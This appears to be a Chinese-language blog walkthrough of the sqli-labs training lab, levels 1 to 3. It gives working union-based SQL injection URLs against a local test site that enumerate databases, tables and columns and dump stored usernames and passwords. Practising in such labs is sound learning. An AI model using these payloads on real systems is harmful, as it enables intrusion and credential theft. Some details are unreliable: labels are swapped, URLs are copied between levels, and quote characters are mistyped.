查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,passord from security.users
查系统用户:select system_user()
查数据库:select database()
查版本信息:select version()
查安装路径:select @@datadir
查操作系统:select @@version_compile_os
这些是我查找的部分数据库基本语句 。
目录
pass-1
意思就是让我们输入id 然后打开hackbar输入
http://127.0.0.1/sqli-labs-master/Less-1/?id=1
就会显示出名字和密码 ,如果id=2时就是另一个
然后输入语句
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'
就会发现出现了问题,此处说明#、–+、 – 、都是sql语句中的注释符。
输入
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'--+
结果如图
然后输入
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4--+
order by 4语句的意思,它可以对表中的每列元素进行排序,users表中有3列,分为id、username、password。当输入order by 4的时候显示错误,证明表中有三列数据。将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
结果如图
然后查询security内的所有表名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
接着使用下面的语句爆破出列名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+
最后就是使用如下语句查询所有的用户名,密码.
用户名:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(password) from security.users) --+
密码:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(username) from security.users) --+
第一关到此为止。
pass-2
还是和上一关一样当输入
http://127.0.0.1/sqli-labs-master/Less-2/?id=1'
发现
多了一个单引号,原理和上面一样。
pass-3
还是当输入
http://127.0.0.1/sqli-labs-master/Less-2/?id=1'
输入
http://127.0.0.1/sqli-labs-master/Less-2/?id=1'--+
但是输入 ?id=1’) --+ 页面回显正常,说明此处是字符型注入,而且是以 (’’)的方式闭合字符串的 。然后和上面的步骤就一样了。
可以发现原理其实在第一题中,而且主要都是使用联合查询得出列表的。